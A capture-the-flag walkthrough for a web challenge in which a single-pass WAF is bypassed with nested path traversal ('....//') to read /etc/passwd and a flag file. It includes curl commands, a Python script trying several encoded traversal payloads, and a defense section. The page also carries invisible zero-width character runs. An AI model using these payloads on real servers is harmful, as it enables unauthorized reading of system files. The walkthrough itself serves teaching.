Waf

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: lfi_waf_bypass, nested_path_traversal, double_encoding

Summary

Walkthrough of the CUSTOM Web Waf. LFI (Local File Inclusion) challenge with WAF bypass. The application has a WAF that filters path traversal sequences (../), but the filter can be bypassed using nested sequences.

Description

LFI (Local File Inclusion) challenge with WAF bypass. The application has a WAF that filters path traversal sequences (../), but the filter can be bypassed using nested sequences.

URL: https://2019-11-10-waf.ctf.su/
Points: 1

Analysis

The Problem

The application is vulnerable to LFI, but has a WAF (Web Application Firewall) that:

• Detects and removes ../ sequences
• Applies the filter only once (single-pass)

Filter Vulnerability

If the WAF removes ../ only once, nested sequences can be used: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

....// → after removing ../ → ../
..../  → after removing ../ → ../
....\/  → after removing ../ → ../

Solution

Step 1: Testing the Filter

Check how the WAF reacts to various path traversal variants:

 bash read-only • copy allowed Copy
# Normal path traversal - blocked
curl "https://2019-11-10-waf.ctf.su/?file=../etc/passwd"
# Result: blocked or empty response

# Nested path traversal - bypasses WAF
curl "https://2019-11-10-waf.ctf.su/?file=....//etc/passwd"
# Result: contents of /etc/passwd

Step 2: Exploitation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Use nested sequences to read the flag:

 bash read-only • copy allowed Copy
# Read flag with WAF bypass
curl "https://2019-11-10-waf.ctf.su/?file=....//....//....//flag.txt"

Full Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Waf - LFI with WAF bypass via nested path traversal
Web Kids 2.0
"""

import requests

URL = "https://2019-11-10-waf.ctf.su/"

# WAF bypass patterns
bypass_patterns = [
    "....//",      # WAF removes ../ → leaves ../
    "..../",       # Alternative variant
    "....\/",      # With escaping
    "..%2f..%2f",  # URL encoding
    "%2e%2e/",     # Encoded dots
    "..%252f",     # Double encoding
]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Test different patterns
for pattern in bypass_patterns:
    # Form path with bypass
    payload = f"{pattern}{pattern}{pattern}etc/passwd"
    
    r = requests.get(URL, params={"file": payload})
    
    if "root:" in r.text:
        print(f"[+] Working bypass: {pattern}")
        print(f"[+] Payload: {payload}")
        
        # Read flag
        flag_payload = f"{pattern}{pattern}{pattern}flag.txt"
        r2 = requests.get(URL, params={"file": flag_payload})
        print(f"[+] Flag: {r2.text}")
        break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Direct exploit with known pattern
print("\n[*] Direct exploit:")
payload = "....//....//....//flag.txt"
r = requests.get(URL, params={"file": payload})
print(r.text)

Flag Analysis

The flag REDACTED hints at the WAF weakness:

• really_weak — the filter is easily bypassed
• w@f_w@f — WAF (Web Application Firewall) with 'a' replaced by '@'

WAF Bypass Variants

Defense

• Use multi-pass filtering (while loop)
• Normalize path before checking (realpath)
• Use whitelist instead of blacklist
• Don't rely only on WAF — validate at application level ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering lfi_waf_bypass, nested_path_traversal, double_encoding was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

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Crafted by XESXOR Research • 2019-11-10 • CUSTOM • Waf • Difficulty: Easy